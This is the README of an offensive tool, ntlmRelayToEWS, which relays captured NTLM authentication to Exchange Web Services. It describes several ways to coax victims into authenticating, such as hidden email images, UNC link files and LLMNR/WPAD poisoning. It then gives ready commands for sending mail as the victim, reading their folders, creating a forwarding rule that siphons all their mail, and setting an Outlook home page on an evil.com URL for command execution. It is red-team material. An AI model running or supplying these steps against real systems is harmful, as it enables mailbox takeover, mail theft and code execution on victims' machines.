NtlmRelayToEWS: ntlm relay attack to Exchange Web Services
Author: Arno0x0x – @Arno0x0x
ntlmRelayToEWS is a tool for performing ntlm relay attacks on Exchange Web Services (EWS). It spawns a SMBListener on port 445 and an HTTPListener on port 80, waiting for the incoming connection from the victim. Once the victim connects to one of the listeners, an NTLM negotiation occurs and is relayed to the target EWS server.
Obviously, this tool does NOT implement the whole EWS API, so only a handful of services are implemented that can be useful in some attack scenarios. I might be adding more in the future. See the ‘usage’ section to get an idea of which EWS calls are being implemented.
Limitations and Improvements
Exchange version: I’ve been testing this tool on an Exchange Server 2010 SP2 only (which is quite old admittedly), so all EWS SOAP request templates, as well as the parsing of the EWS responses, are only tested for this version of Exchange. These SOAP requests might/should work on a more recent version, probably not on older versions. In case those SOAP requests don’t work on another version of Exchange, it should be quite easy to create the SOAP request templates to match a newer version by using the Microsoft EWS Managed API in trace mode and capture the proper SOAP requests (that’s how I did it !).
EWS SOAP client: I would have loved to use a SOAP client in order to get a proper interface for automatically create all SOAP requests based on the Exchange WSDL. I tried using ‘zeep‘ but I banged my head on the wall to get it working with the Exchange WSDL as it requires to download external namespaces and as such requires an internet connection. Also, with ‘zeep’, the use of a custom transport session requires a Requests.session which is not the type of HTTP(S) session we have by default with the HTTPClientRelay: it would have required either to refactor the HTTPClientRelay to use ‘Requests‘ (/me lazy) or to simply get zeep to create the messages with zeep.client.create_message() and then send it with the relayed session we already have. Or is it because I’m a lame developer? oh well…
How to get the victim to give you their credentials for relaying?
In order to get the victim to send his credentials to ntlmRelayToEWS you can use any of the following well-known methods:
- Send the victim an e-mail with a hidden picture which ‘src’ attribute points to the ntlmRelayToEWS server, using either HTTP or SMB
- Create a link file which ‘icon’ attribute points to the ntlmRelayToEWS using a UNC path and let victim browse a folder with this link
- Perform LLMNR, NBNS or WPAD poisoning (think of Responder.py or Invoke-Inveigh for instance) to get any corresponding SMB or HTTP traffic from the victim sent to ntlmRelayToEWS
- other ?
git clone https://github.com/Arno0x/NtlmRelayToEWS.git
In its current version, the tool only implements the following attacks, which are all made on behalf of the relayed user (victim).
Refer to the help to get useful info: ./ntlmRelayToEWS -h Get more debug information using the –verbose or -v flag.
Send an HTML formed e-mail to a list of destinations:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d “firstname.lastname@example.org,email@example.com” -s Subject -m sampleMsg.html
Retrieve all items from a predefined folder (inbox, sent items, calendar, tasks):
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox
Creates an evil forwarding rule that forwards all incoming message for the victim to another email address:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d firstname.lastname@example.org
Defines a folder home page (usually for the Inbox folder) by specifying a URL. This technique, uncovered by SensePost/Etienne Stalmans allows for arbitrary command execution in the victim’s Outlook program be forging a specific HTML page: Outlook Home Page – Another Ruler Vector:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html